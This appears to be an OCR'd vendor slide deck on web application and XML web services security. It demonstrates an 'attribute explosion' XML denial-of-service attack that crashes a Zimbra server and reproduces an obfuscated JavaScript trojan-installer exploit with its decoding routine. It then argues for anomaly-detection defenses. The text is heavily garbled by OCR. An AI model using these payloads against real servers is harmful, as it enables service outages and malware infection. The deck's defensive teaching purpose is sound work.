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Agenda

« Web Applications and Web Services defined
and delineated and their vulnerabillities
considered

« Anatomy of an AJAX attack

* Web Application Vulnerabilities and Defense
Considered in Depth

 Web Services Vulnerabilities and Defense
Considered in Depth

e Concluding Thoughts
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Web Application and Web Services

Different Management/Security Problems

Equal Treatment on Port 80/443

Inte

rface Transactional

HTML Flash PHP, —— AJAX —— XML SOAP SOA
JavaScript (DHTML)

Both Expose Application Level
Vulnerabilities
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Tunneling through on Port 80

Gartner saith:

Gartner estimates that by 2008, at least 30 percent of enterprises
exposing Web services to the Internet will experience
successful attacks causing more than four hours of downtime to
business-critical functions applications.

Gartner John Pescatore “...close to 80% of today’s attacks are
tunneling through Web applications”
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Web Application Attacks

Virus, Binary Executable

Virus, Macro, JavaScript

Comprehensive Link Traversal for
Site Structure Probing

Code Injection, JavaScript, etc.

Probe for contents of directories
using path truncation

SQL Injection, SQL Probing

Session hijacking by intercepting or
predicting cookies - identity theft

Probe for information in HTML
comments

XSS Cross-Site Scripting

Directory Structure Probing

Reverse engineering of access
control/authentication AJAX or Java
Applet for site intelligence

Malformed Requests for Debug
Information Probing

Probing for config/backup folders
for site intelligence

Parameter tampering

'-"%%"Tararl@
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Web Service Attacks and Application
Vulnerabillities

Known Product Vulnerabilities

Known Attacks

o XML Injection

» Buffer Overflow

o Attribute Explosion

* Recursive Payloads

* Jumbo Payloads
Jumbo Tag Name Size
Entity Expansion Attack
External Entity Attack
Dangling XML
Schema Poisoning

o SQL/XQuery Injection
« XPath Injection

» Code Injection

« And more...

Microsoft XML Parser (Denial of service)

» Microsoft SQL Server (Cross-site scripting)

Microsoft Internet Explore (Data source exploit)
ASP.Net (Denial of service)

Oracle 9i (Buffer Overflow)

Adobe Reader (Buffer overflow)

Apache Xerces (Denial of service)
Apache Axis (External entity attack)
libXML (Buffer overflow)

PeopleSoft (External entity attack)

IBM DB2 (Buffer overflow)

Sun Solaris XML Library (Buffer overflow)
PHP (Code injection)

MySQL (Remote code execution)

And more...
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Attack Scenario

o AJAX/Web Services Application
e XML Injection attack through browser

e Simple XML Structure “Attribute
Explosion” resource exhaustion XDoS
attack
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Zimbra Collaboration Suite 3.0

e Easy to install
e Commercial and

copamora. Open Source
Sy T aver versions available
o for free download
MAP. POP ® Well_deSigned and

iCAL, R3S, .
) L=

_responsive user
Interface

e Diverse platform
support, including
VMWare

Postfix e

Internet G s MTA -

(external £t 5 SMTP | (ASIAV) [ e -

ASIAV) = | Tomcat Serviet Container |
J2SE JRE (Linux, MacOS, Other Unix)
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Zimbra Calendar
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o I+ 1 cakendar
(& AJAX-enabled
Y Elini I ko I ”
=) - | cat susan Refresh” Button
) Sam N _
— W wikipedia
I @ Z Search 10 am | 4ppemn
b Rt Oamilyman an
(3
== 11am
Y
| =j
Mioor
| pm
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3pm
4 pm
Spm
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Captured “Refresh” SOAP Request
(via JMeter)

- «<soap:Envelope xmins:soap="http://www.w3.org/2003/05/soap-envelope">
- «<soap:Header:=
- <context xmins="urn:zimbra">
<sessionld id="1" /=
<change token="699" type="new" /=

<authToken=0_bb1162e9ec7f0660373551d76b5668dff8482f41_69643d33363a323937
=format type="js" /=
</context=
</soap:Header=
- «<spap:Body =
- «<BatchRequest xmlns="urn:zimbra" onerror="continue">
<GetApptSummariesRequest xmins="urn:zimbraMail" s="1143360000000"
e="1146985200000" |="10" id="0" /=
</BatchRequest=
</soap:Body =
=/soap:Envelope=
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Refresh “Steady State”

r

&7 Local host - VMware Server Console -
File Edit Wew Host YM Power Snapshot Windows Help
0D |8 s e O E B

FC4 fZimbra

op - 28:48:53 up £3 min, 1 user, load average: Z2.68, 1.98, 1.87
ITazsks: 93 total, Z running, 91 sleeping, B stopped, B zombie
pulsl: 11.3% uws, ?5.1% sy, B.8x ni, 11.8» id, B8.8» wa, Z.7%% hi, B.Bx =i
515292k total, 397996k us=ed, 117296k free, 12936k buffers

1852248k total, Hk used, 1852248k free, 135627k cached

RES SHR
Zimbra 188m 1Zm
Zimbra
root

P P 1

20 JMeter threads issuing
unmodified “Refresh”
commands:
43% CPU, 20% MEM

#CPU ~MEM COMMAND
Jjava

mysqgld

top

k journald
init
ksoftirqd-H

<L R B o B - R P W] 1]
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Malicious Request with Injected XML
(“Attribute Explosion™)

- «<soap:Envelope xmins:soap="http://www.w3.org/2003/05/soap-envelope">
- «<soap:Header:=
- <context xmins="urn:zimbra">
<sessionld id="1" /=
<change foken="699" type="new" /=

zauthToken=
=format ty
<fcontext:

43d33363a323937
tarari00O0A="a" tarario0O0OB="b" tarari00O0C="c"

«/soap:Heads tararioOOD="d" tarari0OOE="e" tarariOOOF="f"
- <soap:Body: tarari000G="g" tarari0OOH="h" tarariO00I="i"
- <BatchReq tarari000J="]" tarari0OOK="k" tararioOOL="]"
RS tarari000M="m" tarari0OON="n" tarari0000="0"
</B aJt;hF:eq tarariOO0P="p" tarari000Q="q" tarari0OOR="r"
</soap:Body: .
=/soap:Envelop

\ 1,000’s of times! /
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bmit using JMeter

File Edit Run Options Help

=
? ; Test Plan g Vi R Its T
o | Thread croup | View Results Tree

o | Name: |\/\ew Results Tree |

Write All Data to a File
L3 /Mal\cioush{chRequesl

| Filename | | | Browse... | [ ]Log Errors Only
4488 Browser-derived headers H

D MaliciousBatchRequest ;fsampler result rRequesl r Response data |
8 POST hitp:/f182.168.65. 107 feervice/soap/BatchRequest
|Query data:

‘| <soapEnwelope xmins:soap
‘[tarario00A="a" tarari000

orkEench

g fanean w3 org /2003 /05 fsoap-envelope" > <soap:Headers> <context xmins="urn:zimbra'> <sessionld id="1"/ > <change
tarariQ00C="c" tarari000D ="d" tarari000E="e" tarari000F ="f" tarari000C="g" tarari000H="h" tarari00Ql="i" tarari00Q]="}"
"tarario000= " tarario0og="g" tarari0Q0OR="r" tarari0Q05="5"

" tararinnoy ="' tarari0 00w ="n" tarari000X ="%" tarari000Y ="y" tarariQ00Z ="z" tarario0 L, a* tararioo 1|
" tarari00 1D ="g" tarari001E="" tarari001F ="f" tarario01C="g" tarariC0 1H="h" tarari00 11 ="" tarario0 1]="]" tarario0 1k ="K" tararico1L=""
m" tararion 1k ="n" tarario 0 1 0" tararioo 1| P tarario0 10 ="g" tarario01R="r" tarario015: " tararioolu="u"

W' tarario0 1 ="w" tarariof 1x —"z" [ararioozA— a' tararion2 [ararioozD ol

! larar\OOZU—"u“ lararlooz\f
"tarario030="d" tarari003
I tarari003IM ="m" 1ararid 03N ="n" tarari0Qz 0
W' tarari00z W="w" tarari003}="x" 1arari003
0" tararin 04|
n' tararion40="0" tarari004P ="p" tararid04Q="g" tararin04

Request containing
“Attribute Explosion”

Attack
/ 3 "tarariQ07A="a" tarari007B

“|tarariO07F="" tarari007 G ="g" tarando7H tarariQ07]="]" tarari0 07K ='
AtarariQ0FF ="p" tararin0? =

tarario 7y ="y" tararion7z
|rarari0SH="h" tarari00&l=
rarariQ0a0="g" tarariQos

g
"tarariQ0&0="g" tarari00BR ="r" tararid06s:

tarariQOEn ="w" tararioQax

" tarario0s0=
" rararionsz

4
b tarario11C="c"
arariol1l="" |arar|0 1iM="m"

" tararinl1R=!
arariil2a;
tarariol2)

"tarariollZ
tarariol2

tarariol2
taranol2l
tarario12T ="t" tarari012 tarario 12y ="y" tarariol2ws=
b tararid 13C="c" tarari0 130D ="d" tarari013E="e" tararid 13F
ararinlsm="m" tarari0 13N ="n" tarari0 130 =
tarario 13w ="un" tarario 13X

tararinol2o="o"

ftarario13Q="g

Jrarari0137="z" tarario 14 e" tarari0 14F="f" tarario 14 h" tarario 141=""
‘|rarariol4)= r

frarariol4s= " tarariol4U="u" tarariQ 14y = “tarariol4y="y" tarari0 147 ="z" tarario 15.4="a"
‘|tarario15B="p" tarari0ls " tarario150="d" tarari015E="g" tarario155="g" tarari015H="h" tarario 15| tarariol5s)="j" tarari015K="

rarariolsL=

tarario 15 ="m" tarari0 15N ="n" 1arari0 150 ="0" 1arari0 15P ="p" tarario 150 ="g" tarari0 L5R="r" 1arari0 15

5" tarar015T=""

4
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XML DoS Attack Success

&1 Local host - VMware Server Console -

File Edit “iew Host %M Power Snapshot ‘Windows Help

W 00 [ |5 | snapshot | mEERE

FC4 Zimbra

op - £1:89:25 up 44 min, 1 user, load average: Z2.8Z2, B.77, B.73
asks: 93 total, 1 rumming, 92 sleeping, A stopped, B zombie

puls): 92.8% us, 8.8 =y, HB.Bx ni, MB.Bx id, B.B% wa, B.8x hi, B.8Bx si
em: 515292k total, 492984k used, 22388k free, 13236k buffers
bwap: 1852248k total, Bk used, 1852248k free, 138524k cached

PID USER PR NI VUIRT RES SHR 3 «xCPU ~“MEM TIME+ COMMAND
Zimbra A 2 3 g java {defunct>
root (2] R top
root (%) 3

'nnn'l'

Server process fails.
Attack was successful.

init
kzoftirgd-H
watchdog-8

C

7

1 ; -

A . : ; hald-addon-stor
- .

5]

%]

A guarissA
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XML DoS Attack Success

zZimbra

['__|'| Search [

lendar Elview =

B3 New ~ % Refresh | [ =8| ] pay ] work wesk 5 wesk B Month 3] Scheduke |

=l Calendars

| XE Monday, March 27

[ cakndar

Bam
=l Zimlets J B:00 AM
Y Maps it Call Susan
W wWikipedia
F z Search 10am 10:30 AM
4 amazon N

11am
Moon Work In Progress

st The server appears to be slow to
respond, and may be unavailable.
2 pm Press the button to cancel your

request.

3 pm

4 pm Cancel Request

5pm
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Even Secure Channels Are Vulnerable
(maybe especially vulnerable)

Enterprise

Remote User \)&* ;mployees
X

Buffer Overflow 2=

SSL | Malicious XML— - s
~ ~ VPN/ Attack .
= of N’—| 0000 :
Web | £ oy [ 1L,

B rOWer ILIHBHEAWGMILF;

XXX
XBusiness Interruption ) ¢
ustomers

XML R/ﬂf Application
Trojan Q’E "o Horse
TR

->
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Defense: Application Vulnerability Analysis
and Request Inspection at Runtime

Two basic defense strategies:

1. Use tools to make applications more
secure

2. Inspect Web Requests at Runtime for
malicious content

Obviously, complementary. Difficult to make
applications 100% airtight (or may not be under control

by WebOps) and difficult to block every malicious
request.

’:}%‘Jararlm Page 17
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Application Vulnerabiity Analysis

Vulnerability
Assessment

What
did | p Response

give
away?

What
am | Request >

asking
for?

Application
Test Bed
OO OOO

S O OQ

Web Apps O

Mal Engine
Generates:

1. Malformed Requests

2. Authentication Exploits
3. Authorization Exploits
4. Injection Attacks

5. Session Hijacking

ation
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JS/Wonka — Malicious JavaScript
Obfustication

e Obfustication hides malicious intent of JavaScript

e Simple encoding using Unicode char values

e Attack through code injection or malicious web
site

e Exploit often detected by signature of decoding
routine

e ...but ... obfustication is a best practice for not
revealing business intelligence

e WebSense Security Labs crawl October 2005:
10,000 sites using malicious obfustication

’:}%‘Jararla Page 19
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Exploit Using Obfustication

<script language=javascript>

document .write({unescape( %30k 7340357 2%00% 0% 74% 2050040 1%0E%0 1% 75501 %0 /5055 30%22%61%01%76%601%
73"+ 5034725005 0% 4% 225 3E%00% T 5H0ER03% T 4% 00% AP 0E% 20504% 6% 28% T 32 9% TR T6%01% T 25%20% 73%31%30
AR T30 %0 1% T 0% 5% 208% T 3% 2E% T 3% 7550 2% T 3% T4% T 2% 285 30% 205 T 3% 205 ACH B 0%6E%0 7% T 4%68% 20% 3P
295295 3B% 205 7650 1% T 2% 20% TH%30% 2 7% 2 1% 3B%06% 0% T 25 2856 0% 30% 30% 3856 0% 3% T34 315 2% CH6E%EE%6T
J5%A8% 380 0% 285 8% 2% T4% 285 30%5 3% T4% T 250 0% 006 7% 2E%06% | 25 0M00%4 3%68%6 157 %4 F6F04%65% 28°
734315 2E%03%08%01% T %4 F0F%04%65%41%74%26%0%% 29 520 1 3% 2% T 3 T0%0 25T 3% 4% T 2% 28% T 3% 2B %0 %0 5%6E
50 7% 14500 20% 315 20% 3 1% 29% 20 3% B4R BF % 6 3% T 5% AD% A WO T4% 2% T 1% T 24005 1 4%0 5% 26% TH%0E%00% T3%63%
01%70%00%20%74%20%29%3B% T0%3CR2F% 7356 3% T 25%69% T0% 74%3E ') ) ; dF (' %275E ] von%s275G%275E0quck

214 2eapvgpvi2T5F%s278bvgzvl jvon&2750%2742¢] ctugvis27aRykp fayu/ 3873527445274 wr / gswkx%275F%
2144Eqpvgpy/ Ve TBra%2 78452750521 2F%212C%2 15k vgzvet ek 214 2k F275F%2 14deqf g2 T44%27420v% 1Bngs
215F% 2744 Fkurnc%78%275Cnqpf 2 750%2744%2756%275E qd  gevs2742uv TBngfk2 7aF% 2744 fkurnck 7%
215Cnapg2750% 274452142 cvck 2 75F% 21825 2148521453205 38% 21485214533 %2 TA8% 27456 T%2748% 2745327
2148521453385 2748% 27453375 2140852145 7% 30% 2 48%2 145325 38% 2 148% 2 145326% 2748%2745336%27485%
21832 3B 2 1A% 2145325 3N 2 AR 274D 153N 2 T4B% 21453045 2 TAB% 240 30 T 148k 2145325305 2 T48%
214532352485 27457305 21485 2745695274852 145695 21485 2140322521485 2745 1530527485274 5%384%2148%
214532052 748%27453332 1485214533352 748527456852 14852140325 365214652 745326%2748%2745336%2148%
2145505214852 14 B58% 2 TAB% 2145 345% 2 TA8% 210 5% 3N 5 21485 21458 152148521 45% 30652 146%274504% 2 148%
214530752 748%274569uv% TBngBeuns2 75C%275C1 20 vons 278252 14 V% 1Brfs2 15F%274bvgzv1z/ uetk ringvs
2144577565275 1qdl gevi2756%2 ThE Tvgzvet o2 75652 1 2F%2 7205275 uetk rvis2 T4 2ncpiwc 1052 75F%

214 cxcuetkrvs27144%275G gewogpvytkvgs274%3heq fgBxe gt grnc e 74%3A1%2 T TE% 274652 190RCY )%
Z19F11%274Enqecvkap®] t gheuwduvt kpi%274%3A2%2 14Engecvkapd] t ghkpfgz(n%274%38%274%qyub jvon%s
210G 21453852 A% 3B 2 1A% 385 21 4% 3B% 2 7T50% 2T5E Tuet k 2 75G%272F% 272C% 2758 1 jvonks 27562 )

</script>

Decoding Routine

<script language=*“javascript”’>
function dF(s){
0 var sl=unescape(s,
substr(0,s.length-1));
var t=""*
for (i=0;i<sl.length;i++)
t += String.fromCharCode(
sl.charCodeAt(i)-
~ s.substr(s.length-1,1));
~ document.write(unescape(t));
} </script>

> HTML page which installs a trojan
horse

-ZZlararr
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Metamorphic JavaScript Attacks

Malicious
Attacked Request > Web Site
Web
Browser Response Morph
“embeds JS Gen
morphed
malicious

JavasScript

e JavaScript morphs — dynamically varying surface
properties of virus — on each reguest

e Unlike binary morphing worm infinite possibilities
for surface properties of attack

e Utterly defeats signature-based detection of
decode routine or known JavaScript exploit

’:}%‘Jararl® Page 21
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Web Application Traffic Runtime Anomaly
Detection

e QObfustication and metamorphic attacks defeat
sighature-based application security provided by
IP Network Security devices

e Zero-day attacks defeat signature-based security

e Solution: Enforce correct application behavior;
distinguish good from bad traffic at runtime
(positive security model)

e Technique: Anomaly detection, learning through
Bayesian analysis of representive traffic — e.g.,
how JavaScript modifies application parameters
In legitimate requests

’:}%‘Jarar’® Page 22
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Web Services - It's Big

Web Services are being used Everywhere

e Interfaces to enterprise software: IBM, Microsoft, SAP, Oracle
 Financial exchanges, B2B replacing EDI

 As front-ends, breathing new life into legacy systems
* Web Apps

e Consumer browser-based apps: AJAX

XML-Aware App XML-Aware Web
Servers Servers

i:!‘ \FFQE—.
N XML-Aware
B Servers
XML ~

Appliances

The stakes are high

— XML-Aware
Routers

Internet

-Flararr
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Web Services Characteristics Impacting
Security

Functions as a protocol
 Lies “more or less” on top of the application layer

service ) :
— 7, especially but not exclusively HTTP
Application |, gpcapsulates data
Presention « Optional services: security, reliability, even
Session routing
. » Exists because application layer 7 is inadequate
ransport L
to support new applications that play on the
Network network today
batalink | Differs from lower levels of protocol stack
Physical « Complexity required by intra-application communication

* Degree of optionality
* No fixed-length fields
» Use of XML provides needed format flexibility

->
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Web Service Attack ABCs

« XML headers are open to attacks.

» Breaking correct XML structure rules can constitute an effective DoS
attack.

» Schema-conforming documents can harbor attacks.

* Unencrypted, plain text exposes business operation intelligence - a
basis of tampering and “insider” attacks.

 Web Services and XML provide many new ways to mask traditional
attacks such as SQL Injection.

':}&’Jararlm Page 25
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Threat Mitigation Strategies

Check Description Perf Requires
Cost

XDoS Well-formed and sanity checks on Very Low | Policy

Checks structure against parsing attacks

Anomaly Detects messages which deviate Low Training

Detection from statistical norm

XPath Checks for specific constructs such | Medium | XPath rule

as SOAP container sets

Schema Determines if message is a valid High Effective

Validation production of a known schema Cost Schemas

Content Tests of content values and ranges | Very App-specific

Signatures High rule sets
Cost

-Flararr
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Why XML Schema Validation Alone is
Not a Silver Bullet

XML Schema validation verifies that the input document
conforms to the schema. This is a good check and can
prevent many attacks. But it isn’t a silver bullet ...

1. Many applications do not have schemas (e.g., Zimbra)

2. Most schemas allow optional fields and unlimited
repetition. The set of schema valid documents is
Infinite — business valid much smaller. Attackers will

exploit this.

3. Schema validation is costly. Schema validation can be
Its own XDoS.

arari vege 2

ation




Anomaly Detection in XML Threat
Management (XTM)

1. Experience in IDS: most effective checking combines signature
scanning and anomaly detection

2. Anomaly detection in XML is very different than IDS though; XML
provides fine-grain “message topology” to derive statistical profile

3. XML Anomaly Detection is mathematically-based and has a low
processing costs.

Catches schema-valid malicious content
Catches zero-day attacks

No signatures to create and update

S A

Tiered approach: AD can positively vet the majority of the XML
network traffic and send suspect messages for additional screening

->
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Sandbox Principles

 When a network device parses XML it is at risk
from attack and weaknesses specific to XML.

« SAX, DOM, and ad-hoc parsers all have known
vulnerabllities and should be considered
unsuitable for XML Threat Management (XTM).

« XTM must check XML content before it can
corrupt the processing environment. It is must
provide an effective sandbox.

e XTM should be stateless and therefore immune
from buffer overflow attacks.

« Hardware parsing generally is not at risk from all
known XML-borne attacks.

ation
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Web Services Security XTM-Enabled

@

XTM

*WFC
TCP/IP Application ¢ XDOS
Flow Protocol o
Assembly SSL Bri?uﬁﬁz Anoma_tly
Detection
1. XTM sorts traffic into Suspect XML
. Non-XML
. Clean XML @ Second-level
* Rejected XML Screen
e  Suspect XML
2. Second-level screen does e Schema
further assessment Validate

* Rejects or passes
Clean XML

e Content Tests

Non-XML

Clean XML

Rejected
XML

——

Rejected
XML

 Discard Packet

* End Connection

» Redirect Traffic

» Modify Data

» Alert & Notification

Clean XML

-Flararr
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Concluding Thoughts

 Application Security is the new frontier of threats
and evolving threat defense strategies

e Web Application technology and Web Services are

converging, e.g., AJAX. In any case, the threats
are thematically related

e Traditional signature-based techniques don’t
protect applications well; postive security models
using anomaly detection are an emeraging
response

’:}%‘Jararla Page 31
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